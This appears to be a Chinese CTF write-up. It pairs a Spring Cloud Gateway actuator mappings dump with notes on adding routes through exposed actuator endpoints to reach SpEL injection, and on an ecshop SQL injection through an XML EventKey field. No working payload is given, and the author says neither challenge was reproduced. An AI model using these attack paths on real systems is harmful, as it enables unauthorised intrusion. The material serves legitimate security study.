              "predicate": "{GET /actuator/caches/{cache}, produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
              "handler": "Actuator web endpoint 'caches-cache'",
              "details": {
                "handlerMethod": {
                  "className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.ReadOperationHandler",
                  "name": "handle",
                  "descriptor": "(Lorg/springframework/web/server/ServerWebExchange;)Lorg/reactivestreams/Publisher;"
                },
                "handlerFunction": null,
                "requestMappingConditions": {
                  "consumes": [],
                  "headers": [],
                  "methods": [
                    "GET"
                  ],
                  "params": [],
                  "patterns": [
                    "/actuator/caches/{cache}"
                  ],
                  "produces": [
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v3+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v2+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/json",
                      "negated": false
                    }
                  ]
                }
              }
            },
            {
              "predicate": "{GET /actuator/metrics/{requiredMetricName}, produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
              "handler": "Actuator web endpoint 'metrics-requiredMetricName'",
              "details": {
                "handlerMethod": {
                  "className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.ReadOperationHandler",
                  "name": "handle",
                  "descriptor": "(Lorg/springframework/web/server/ServerWebExchange;)Lorg/reactivestreams/Publisher;"
                },
                "handlerFunction": null,
                "requestMappingConditions": {
                  "consumes": [],
                  "headers": [],
                  "methods": [
                    "GET"
                  ],
                  "params": [],
                  "patterns": [
                    "/actuator/metrics/{requiredMetricName}"
                  ],
                  "produces": [
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v3+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v2+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/json",
                      "negated": false
                    }
                  ]
                }
              }
            },
            {
              "predicate": "{GET /actuator/sentinel, produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
              "handler": "Actuator web endpoint 'sentinel'",
              "details": {
                "handlerMethod": {
                  "className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.ReadOperationHandler",
                  "name": "handle",
                  "descriptor": "(Lorg/springframework/web/server/ServerWebExchange;)Lorg/reactivestreams/Publisher;"
                },
                "handlerFunction": null,
                "requestMappingConditions": {
                  "consumes": [],
                  "headers": [],
                  "methods": [
                    "GET"
                  ],
                  "params": [],
                  "patterns": [
                    "/actuator/sentinel"
                  ],
                  "produces": [
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v3+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v2+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/json",
                      "negated": false
                    }
                  ]
                }
              }
            },
            {
              "predicate": "{GET /actuator/configprops, produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
              "handler": "Actuator web endpoint 'configprops'",
              "details": {
                "handlerMethod": {
                  "className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.ReadOperationHandler",
                  "name": "handle",
                  "descriptor": "(Lorg/springframework/web/server/ServerWebExchange;)Lorg/reactivestreams/Publisher;"
                },
                "handlerFunction": null,
                "requestMappingConditions": {
                  "consumes": [],
                  "headers": [],
                  "methods": [
                    "GET"
                  ],
                  "params": [],
                  "patterns": [
                    "/actuator/configprops"
                  ],
                  "produces": [
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v3+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v2+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/json",
                      "negated": false
                    }
                  ]
                }
              }
            },
            {
              "predicate": "{POST /actuator/refresh, produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
              "handler": "Actuator web endpoint 'refresh'",
              "details": {
                "handlerMethod": {
                  "className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.WriteOperationHandler",
                  "name": "handle",
                  "descriptor": "(Lorg/springframework/web/server/ServerWebExchange;Ljava/util/Map;)Lorg/reactivestreams/Publisher;"
                },
                "handlerFunction": null,
                "requestMappingConditions": {
                  "consumes": [],
                  "headers": [],
                  "methods": [
                    "POST"
                  ],
                  "params": [],
                  "patterns": [
                    "/actuator/refresh"
                  ],
                  "produces": [
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v3+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v2+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/json",
                      "negated": false
                    }
                  ]
                }
              }
            },
            {
              "predicate": "{DELETE /actuator/caches}",
              "handler": "Actuator web endpoint 'caches'",
              "details": {
                "handlerMethod": {
                  "className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.ReadOperationHandler",
                  "name": "handle",
                  "descriptor": "(Lorg/springframework/web/server/ServerWebExchange;)Lorg/reactivestreams/Publisher;"
                },
                "handlerFunction": null,
                "requestMappingConditions": {
                  "consumes": [],
                  "headers": [],
                  "methods": [
                    "DELETE"
                  ],
                  "params": [],
                  "patterns": [
                    "/actuator/caches"
                  ],
                  "produces": []
                }
              }
            },
            {
              "predicate": "{GET /actuator/loggers/{name}, produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
              "handler": "Actuator web endpoint 'loggers-name'",
              "details": {
                "handlerMethod": {
                  "className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.ReadOperationHandler",
                  "name": "handle",
                  "descriptor": "(Lorg/springframework/web/server/ServerWebExchange;)Lorg/reactivestreams/Publisher;"
                },
                "handlerFunction": null,
                "requestMappingConditions": {
                  "consumes": [],
                  "headers": [],
                  "methods": [
                    "GET"
                  ],
                  "params": [],
                  "patterns": [
                    "/actuator/loggers/{name}"
                  ],
                  "produces": [
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v3+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v2+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/json",
                      "negated": false
                    }
                  ]
                }
              }
            },
            {
              "predicate": "{GET /actuator/health/{*path}, produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
              "handler": "Actuator web endpoint 'health-path'",
              "details": {
                "handlerMethod": {
                  "className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.ReadOperationHandler",
                  "name": "handle",
                  "descriptor": "(Lorg/springframework/web/server/ServerWebExchange;)Lorg/reactivestreams/Publisher;"
                },
                "handlerFunction": null,
                "requestMappingConditions": {
                  "consumes": [],
                  "headers": [],
                  "methods": [
                    "GET"
                  ],
                  "params": [],
                  "patterns": [
                    "/actuator/health/{*path}"
                  ],
                  "produces": [
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v3+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v2+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/json",
                      "negated": false
                    }
                  ]
                }
              }
            },
            {
              "predicate": "{GET /actuator/nacosconfig, produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
              "handler": "Actuator web endpoint 'nacosconfig'",
              "details": {
                "handlerMethod": {
                  "className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.ReadOperationHandler",
                  "name": "handle",
                  "descriptor": "(Lorg/springframework/web/server/ServerWebExchange;)Lorg/reactivestreams/Publisher;"
                },
                "handlerFunction": null,
                "requestMappingConditions": {
                  "consumes": [],
                  "headers": [],
                  "methods": [
                    "GET"
                  ],
                  "params": [],
                  "patterns": [
                    "/actuator/nacosconfig"
                  ],
                  "produces": [
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v3+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v2+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/json",
                      "negated": false
                    }
                  ]
                }
              }
            },
            {
              "predicate": "{GET /actuator/loggers, produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
              "handler": "Actuator web endpoint 'loggers'",
              "details": {
                "handlerMethod": {
                  "className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.ReadOperationHandler",
                  "name": "handle",
                  "descriptor": "(Lorg/springframework/web/server/ServerWebExchange;)Lorg/reactivestreams/Publisher;"
                },
                "handlerFunction": null,
                "requestMappingConditions": {
                  "consumes": [],
                  "headers": [],
                  "methods": [
                    "GET"
                  ],
                  "params": [],
                  "patterns": [
                    "/actuator/loggers"
                  ],
                  "produces": [
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v3+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v2+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/json",
                      "negated": false
                    }
                  ]
                }
              }
            },
            {
              "predicate": "{GET /actuator/env, produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
              "handler": "Actuator web endpoint 'env'",
              "details": {
                "handlerMethod": {
                  "className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.ReadOperationHandler",
                  "name": "handle",
                  "descriptor": "(Lorg/springframework/web/server/ServerWebExchange;)Lorg/reactivestreams/Publisher;"
                },
                "handlerFunction": null,
                "requestMappingConditions": {
                  "consumes": [],
                  "headers": [],
                  "methods": [
                    "GET"
                  ],
                  "params": [],
                  "patterns": [
                    "/actuator/env"
                  ],
                  "produces": [
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v3+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v2+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/json",
                      "negated": false
                    }
                  ]
                }
              }
            },
            {
              "predicate": "{DELETE /actuator/caches/{cache}, produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
              "handler": "Actuator web endpoint 'caches-cache'",
              "details": {
                "handlerMethod": {
                  "className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.ReadOperationHandler",
                  "name": "handle",
                  "descriptor": "(Lorg/springframework/web/server/ServerWebExchange;)Lorg/reactivestreams/Publisher;"
                },
                "handlerFunction": null,
                "requestMappingConditions": {
                  "consumes": [],
                  "headers": [],
                  "methods": [
                    "DELETE"
                  ],
                  "params": [],
                  "patterns": [
                    "/actuator/caches/{cache}"
                  ],
                  "produces": [
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v3+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v2+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/json",
                      "negated": false
                    }
                  ]
                }
              }
            },
            {
              "predicate": "{GET /actuator/beans, produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
              "handler": "Actuator web endpoint 'beans'",
              "details": {
                "handlerMethod": {
                  "className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.ReadOperationHandler",
                  "name": "handle",
                  "descriptor": "(Lorg/springframework/web/server/ServerWebExchange;)Lorg/reactivestreams/Publisher;"
                },
                "handlerFunction": null,
                "requestMappingConditions": {
                  "consumes": [],
                  "headers": [],
                  "methods": [
                    "GET"
                  ],
                  "params": [],
                  "patterns": [
                    "/actuator/beans"
                  ],
                  "produces": [
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v3+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v2+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/json",
                      "negated": false
                    }
                  ]
                }
              }
            },
            {
              "predicate": "{GET /actuator/scheduledtasks, produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
              "handler": "Actuator web endpoint 'scheduledtasks'",
              "details": {
                "handlerMethod": {
                  "className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.ReadOperationHandler",
                  "name": "handle",
                  "descriptor": "(Lorg/springframework/web/server/ServerWebExchange;)Lorg/reactivestreams/Publisher;"
                },
                "handlerFunction": null,
                "requestMappingConditions": {
                  "consumes": [],
                  "headers": [],
                  "methods": [
                    "GET"
                  ],
                  "params": [],
                  "patterns": [
                    "/actuator/scheduledtasks"
                  ],
                  "produces": [
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v3+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v2+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/json",
                      "negated": false
                    }
                  ]
                }
              }
            },
            {
              "predicate": "{GET /actuator/conditions, produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
              "handler": "Actuator web endpoint 'conditions'",
              "details": {
                "handlerMethod": {
                  "className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.ReadOperationHandler",
                  "name": "handle",
                  "descriptor": "(Lorg/springframework/web/server/ServerWebExchange;)Lorg/reactivestreams/Publisher;"
                },
                "handlerFunction": null,
                "requestMappingConditions": {
                  "consumes": [],
                  "headers": [],
                  "methods": [
                    "GET"
                  ],
                  "params": [],
                  "patterns": [
                    "/actuator/conditions"
                  ],
                  "produces": [
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v3+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v2+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/json",
                      "negated": false
                    }
                  ]
                }
              }
            },
            {
              "predicate": "{GET /actuator/info, produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
              "handler": "Actuator web endpoint 'info'",
              "details": {
                "handlerMethod": {
                  "className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.ReadOperationHandler",
                  "name": "handle",
                  "descriptor": "(Lorg/springframework/web/server/ServerWebExchange;)Lorg/reactivestreams/Publisher;"
                },
                "handlerFunction": null,
                "requestMappingConditions": {
                  "consumes": [],
                  "headers": [],
                  "methods": [
                    "GET"
                  ],
                  "params": [],
                  "patterns": [
                    "/actuator/info"
                  ],
                  "produces": [
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v3+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v2+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/json",
                      "negated": false
                    }
                  ]
                }
              }
            },
            {
              "predicate": "{GET /actuator/serviceregistry, produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
              "handler": "Actuator web endpoint 'serviceregistry'",
              "details": {
                "handlerMethod": {
                  "className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.ReadOperationHandler",
                  "name": "handle",
                  "descriptor": "(Lorg/springframework/web/server/ServerWebExchange;)Lorg/reactivestreams/Publisher;"
                },
                "handlerFunction": null,
                "requestMappingConditions": {
                  "consumes": [],
                  "headers": [],
                  "methods": [
                    "GET"
                  ],
                  "params": [],
                  "patterns": [
                    "/actuator/serviceregistry"
                  ],
                  "produces": [
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v3+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v2+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/json",
                      "negated": false
                    }
                  ]
                }
              }
            },
            {
              "predicate": "{GET /actuator/health, produces [application/vnd.spring-boot.actuator.v3+json || application/vnd.spring-boot.actuator.v2+json || application/json]}",
              "handler": "Actuator web endpoint 'health'",
              "details": {
                "handlerMethod": {
                  "className": "org.springframework.boot.actuate.endpoint.web.reactive.AbstractWebFluxEndpointHandlerMapping.ReadOperationHandler",
                  "name": "handle",
                  "descriptor": "(Lorg/springframework/web/server/ServerWebExchange;)Lorg/reactivestreams/Publisher;"
                },
                "handlerFunction": null,
                "requestMappingConditions": {
                  "consumes": [],
                  "headers": [],
                  "methods": [
                    "GET"
                  ],
                  "params": [],
                  "patterns": [
                    "/actuator/health"
                  ],
                  "produces": [
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v3+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/vnd.spring-boot.actuator.v2+json",
                      "negated": false
                    },
                    {
                      "mediaType": "application/json",
                      "negated": false
                    }
                  ]
                }
              }
            },
            {
              "predicate": "{GET /actuator/gateway/globalfilters, and [[]]}",
              "handler": "org.springframework.cloud.gateway.actuate.GatewayControllerEndpoint#globalfilters()",
              "details": {
                "handlerMethod": {
                  "className": "org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint",
                  "name": "globalfilters",
                  "descriptor": "()Lreactor/core/publisher/Mono;"
                },
                "handlerFunction": null,
                "requestMappingConditions": {
                  "consumes": [],
                  "headers": [],
                  "methods": [
                    "GET"
                  ],
                  "params": [],
                  "patterns": [
                    "/actuator/gateway/globalfilters"
                  ],
                  "produces": []
                }
              }
            },
            {
              "predicate": "{DELETE /actuator/gateway/routes/{id}, and [[]]}",
              "handler": "org.springframework.cloud.gateway.actuate.GatewayControllerEndpoint#delete(String)",
              "details": {
                "handlerMethod": {
                  "className": "org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint",
                  "name": "delete",
                  "descriptor": "(Ljava/lang/String;)Lreactor/core/publisher/Mono;"
                },
                "handlerFunction": null,
                "requestMappingConditions": {
                  "consumes": [],
                  "headers": [],
                  "methods": [
                    "DELETE"
                  ],
                  "params": [],
                  "patterns": [
                    "/actuator/gateway/routes/{id}"
                  ],
                  "produces": []
                }
              }
            },
            {
              "predicate": "{GET /actuator/gateway/routes/{id}/combinedfilters, and [[]]}",
              "handler": "org.springframework.cloud.gateway.actuate.GatewayControllerEndpoint#combinedfilters(String)",
              "details": {
                "handlerMethod": {
                  "className": "org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint",
                  "name": "combinedfilters",
                  "descriptor": "(Ljava/lang/String;)Lreactor/core/publisher/Mono;"
                },
                "handlerFunction": null,
                "requestMappingConditions": {
                  "consumes": [],
                  "headers": [],
                  "methods": [
                    "GET"
                  ],
                  "params": [],
                  "patterns": [
                    "/actuator/gateway/routes/{id}/combinedfilters"
                  ],
                  "produces": []
                }
              }
            },
            {
              "predicate": "{POST /actuator/gateway/refresh, and [[]]}",
              "handler": "org.springframework.cloud.gateway.actuate.GatewayControllerEndpoint#refresh()",
              "details": {
                "handlerMethod": {
                  "className": "org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint",
                  "name": "refresh",
                  "descriptor": "()Lreactor/core/publisher/Mono;"
                },
                "handlerFunction": null,
                "requestMappingConditions": {
                  "consumes": [],
                  "headers": [],
                  "methods": [
                    "POST"
                  ],
                  "params": [],
                  "patterns": [
                    "/actuator/gateway/refresh"
                  ],
                  "produces": []
                }
              }
            },
            {
              "predicate": "{POST /actuator/gateway/routes/{id}, and [[]]}",
              "handler": "org.springframework.cloud.gateway.actuate.GatewayControllerEndpoint#save(String, RouteDefinition)",
              "details": {
                "handlerMethod": {
                  "className": "org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint",
                  "name": "save",
                  "descriptor": "(Ljava/lang/String;Lorg/springframework/cloud/gateway/route/RouteDefinition;)Lreactor/core/publisher/Mono;"
                },
                "handlerFunction": null,
                "requestMappingConditions": {
                  "consumes": [],
                  "headers": [],
                  "methods": [
                    "POST"
                  ],
                  "params": [],
                  "patterns": [
                    "/actuator/gateway/routes/{id}"
                  ],
                  "produces": []
                }
              }
            },
            {
              "predicate": "{GET /actuator/gateway/routefilters, and [[]]}",
              "handler": "org.springframework.cloud.gateway.actuate.GatewayControllerEndpoint#routefilers()",
              "details": {
                "handlerMethod": {
                  "className": "org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint",
                  "name": "routefilers",
                  "descriptor": "()Lreactor/core/publisher/Mono;"
                },
                "handlerFunction": null,
                "requestMappingConditions": {
                  "consumes": [],
                  "headers": [],
                  "methods": [
                    "GET"
                  ],
                  "params": [],
                  "patterns": [
                    "/actuator/gateway/routefilters"
                  ],
                  "produces": []
                }
              }
            },
            {
              "predicate": "{GET /actuator/gateway/routes/{id}, and [[]]}",
              "handler": "org.springframework.cloud.gateway.actuate.GatewayControllerEndpoint#route(String)",
              "details": {
                "handlerMethod": {
                  "className": "org.springframework.cloud.gateway.actuate.GatewayControllerEndpoint",
                  "name": "route",
                  "descriptor": "(Ljava/lang/String;)Lreactor/core/publisher/Mono;"
                },
                "handlerFunction": null,
                "requestMappingConditions": {
                  "consumes": [],
                  "headers": [],
                  "methods": [
                    "GET"
                  ],
                  "params": [],
                  "patterns": [
                    "/actuator/gateway/routes/{id}"
                  ],
                  "produces": []
                }
              }
            },
            {
              "predicate": "{GET /actuator/gateway/routes, and [[]]}",
              "handler": "org.springframework.cloud.gateway.actuate.GatewayControllerEndpoint#routes()",
              "details": {
                "handlerMethod": {
                  "className": "org.springframework.cloud.gateway.actuate.GatewayControllerEndpoint",
                  "name": "routes",
                  "descriptor": "()Lreactor/core/publisher/Flux;"
                },
                "handlerFunction": null,
                "requestMappingConditions": {
                  "consumes": [],
                  "headers": [],
                  "methods": [
                    "GET"
                  ],
                  "params": [],
                  "patterns": [
                    "/actuator/gateway/routes"
                  ],
                  "produces": []
                }
              }
            },
            {
              "predicate": "{GET /actuator/gateway/routepredicates, and [[]]}",
              "handler": "org.springframework.cloud.gateway.actuate.GatewayControllerEndpoint#routepredicates()",
              "details": {
                "handlerMethod": {
                  "className": "org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint",
                  "name": "routepredicates",
                  "descriptor": "()Lreactor/core/publisher/Mono;"
                },
                "handlerFunction": null,
                "requestMappingConditions": {
                  "consumes": [],
                  "headers": [],
                  "methods": [
                    "GET"
                  ],
                  "params": [],
                  "patterns": [
                    "/actuator/gateway/routepredicates"
                  ],
                  "produces": []
                }
              }
            },
            {
              "predicate": "{GET /actuator/gateway/routedefinitions, and [[]]}",
              "handler": "org.springframework.cloud.gateway.actuate.GatewayControllerEndpoint#routesdef()",
              "details": {
                "handlerMethod": {
                  "className": "org.springframework.cloud.gateway.actuate.GatewayControllerEndpoint",
                  "name": "routesdef",
                  "descriptor": "()Lreactor/core/publisher/Flux;"
                },
                "handlerFunction": null,
                "requestMappingConditions": {
                  "consumes": [],
                  "headers": [],
                  "methods": [
                    "GET"
                  ],
                  "params": [],
                  "patterns": [
                    "/actuator/gateway/routedefinitions"
                  ],
                  "produces": []
                }
              }
            },
            {
              "predicate": "((GET && /code) && Accept: text/plain)",
              "handler": "com.ruoyi.gateway.handler.ValidateCodeHandler@4a28de22",
              "details": {
                "handlerMethod": null,
                "handlerFunction": {
                  "className": "com.ruoyi.gateway.handler.ValidateCodeHandler"
                },
                "requestMappingConditions": null
              }
            },
            {
              "predicate": "{GET /swagger-resources}",
              "handler": "com.ruoyi.gateway.handler.SwaggerHandler#swaggerResources()",
              "details": {
                "handlerMethod": {
                  "className": "com.ruoyi.gateway.handler.SwaggerHandler",
                  "name": "swaggerResources",
                  "descriptor": "()Lreactor/core/publisher/Mono;"
                },
                "handlerFunction": null,
                "requestMappingConditions": {
                  "consumes": [],
                  "headers": [],
                  "methods": [
                    "GET"
                  ],
                  "params": [],
                  "patterns": [
                    "/swagger-resources"
                  ],
                  "produces": []
                }
              }
            },
            {
              "predicate": "{GET /swagger-resources/configuration/security}",
              "handler": "com.ruoyi.gateway.handler.SwaggerHandler#securityConfiguration()",
              "details": {
                "handlerMethod": {
                  "className": "com.ruoyi.gateway.handler.SwaggerHandler",
                  "name": "securityConfiguration",
                  "descriptor": "()Lreactor/core/publisher/Mono;"
                },
                "handlerFunction": null,
                "requestMappingConditions": {
                  "consumes": [],
                  "headers": [],
                  "methods": [
                    "GET"
                  ],
                  "params": [],
                  "patterns": [
                    "/swagger-resources/configuration/security"
                  ],
                  "produces": []
                }
              }
            },
            {
              "predicate": "{GET /swagger-resources/configuration/ui}",
              "handler": "com.ruoyi.gateway.handler.SwaggerHandler#uiConfiguration()",
              "details": {
                "handlerMethod": {
                  "className": "com.ruoyi.gateway.handler.SwaggerHandler",
                  "name": "uiConfiguration",
                  "descriptor": "()Lreactor/core/publisher/Mono;"
                },
                "handlerFunction": null,
                "requestMappingConditions": {
                  "consumes": [],
                  "headers": [],
                  "methods": [
                    "GET"
                  ],
                  "params": [],
                  "patterns": [
                    "/swagger-resources/configuration/ui"
                  ],
                  "produces": []
                }
              }
            },
            {
              "predicate": "/webjars/**",
              "handler": "ResourceWebHandler [classpath [META-INF/resources/webjars/]]",
              "details": null
            },
            {
              "predicate": "/**",
              "handler": "ResourceWebHandler [classpath [META-INF/resources/], classpath [resources/], classpath [static/], classpath [public/]]",
              "details": null
            },
            {
              "predicate": "/swagger-ui/**",
              "handler": "ResourceWebHandler [classpath [META-INF/resources/webjars/springfox-swagger-ui/]]",
              "details": null
            }
          ]
        }
      },
      "parentId": "ruoyi-gateway-1"
    },
    "bootstrap": {
      "mappings": {
        "dispatcherHandlers": {}
      },
      "parentId": null
    }
  }
}

搜索了一下 RuoYi 相关基本上都是一些前后台漏洞,这种纯服务的怎么打。。

并非复现

事实上这道题目的漏洞跟什么云没关系,是网关服务的漏洞

参考 su 的师傅的文章打这个漏洞

https://rce.moe/2025/09/29/CVE-2025-41243

这里因为已经没有复现环境,就不对这个题目做分析,主要是了解一下网关服务

Spring Cloud Gateway 是 spring 官方推荐的 API 网关解决方案,用于在微服务架构中作为所有客户端请求的统一入口。他有如下特征

  • 基于 Java 8 编码
  • 基于 Spring Framework 5 + Project Reactor + Spring Boot 2.0 构建
  • 支持动态路由,能够匹配任何请求属性上的路由
  • 支持内置到 Spring Handler 映射中的路由匹配
  • 支持基于 HTTP 请求的路由匹配(Path、Method、Header、Host 等等)
  • 集成了 Hystrix 断路器
  • 过滤器作用于匹配的路由
  • 过滤器可以修改 HTTP 请求和 HTTP 响应(增加/修改 Header、增加/修改请求参数、改写请求 Path 等等)
  • 支持 Spring Cloud DiscoveryClient 配置路由,与服务发现与注册配合使用
  • 支持限流

它的作用主要是

  1. 路由转发(Routing):根据路径、方法、Header 等规则,将请求转发到对应微服务(如 /user/** → user-service)
  2. 负载均衡:与 Spring Cloud LoadBalancer 集成,自动从服务注册中心(如 Eureka、Nacos)获取实例并负载均衡
  3. 安全控制:在网关层统一做身份认证(如 JWT 校验)、权限检查、IP 黑名单等
  4. 限流与熔断:防止突发流量压垮后端服务(可集成 Sentinel、Resilience4j)
  5. 日志与监控:统一记录访问日志、埋点指标(对接 Prometheus、SkyWalking)
  6. 协议转换:支持 HTTP/1.1、HTTP/2、WebSocket 等
  7. 请求/响应修改:通过过滤器(Filter)添加 Header、修改路径、压缩响应等

它深度集成了 Spring Boot Actuator,并通过 Actuator 提供了一组专属管理端点(Endpoints)

  • /actuator/gateway/routes 列出所有路由规则(含 ID、URI、predicates、filters)
  • /actuator/gateway/routes/{id} 获取指定 ID 的路由详情
  • /actuator/gateway/routes/{id} 动态添加新路由(需传 JSON)
  • /actuator/gateway/routes/{id} 动态删除路由
  • /actuator/gateway/refresh 刷新路由配置(重新加载 application.yml 中的路由)
  • /actuator/gateway/globalfilters 查看所有全局过滤器(GlobalFilter)
  • /actuator/gateway/routefilters 查看所有路由过滤器(GatewayFilter)

当然还有其它诸如 info health 等端点,但是一般情况下也只有这两个端点是暴露的

在暴露一些其它端点的情况下,例如本题中 actuator 端点的泄露就会导致路由可以任意添加

而路由的行为也是可控的,就会导致 SPEL 注入

https://spring.io/security/cve-2022-22947

添加路由的请求体格式大概是

{
  "id": "my-route-1",  # 路由id
  "uri": "http://example.com",  # 目标地址
  "predicates": [  # 断言列表,也就是路由匹配方式
    {
      "name": "Path",  # 匹配类型
      "args": {
        "_genkey_0": "/api/test/**"
      }
    }
  ],
  "filters": [  # 过滤器,用于处理路由请求,SPEL注入也在这里发生
    {
      "name": "StripPrefix",
      "args": {
        "_genkey_0": "1"
      }
    }
  ],
  "metadata": {}  # 元数据
}

注入后的一些细节就不具体分析了

ecshop|STUCK

居然是黑盒网页题

注册的发现 admin 存在,想办法拿到

ecshop 本身是一个漏洞很多的框架,版本为 v4.1.19

Ecshop SQL 注入漏洞(CNVD-2025-07678)

脚本检测发现这样打会 500

qswl,这种题不给白盒让我自己下源码来调吗

官网上下到了 4.1.20 的源码

漏洞点在 user.php

这里的 $callbackXml 可控,会转换成数组进入 call_user_func_array

可以把 Event 设置为 scan,调用到 WeChatEvent 里的对应方法

继续跟进

会把 $name 拼接到 select 语句上,这个变量可以通过 xml 的 EventKey 控制

可以看到 4.1.20 这个漏洞依然存在,因此现在需要解决的是传入 xml 的 500 问题

utf16-be 编码行不通

又测试了一下发现是 sql 语句的问题,scan 方法调用的时候出错了,但是又看不出来是哪里的问题

试一下直接打 xml,不行访问不到,不知道是不解析还是不出网

并非复现

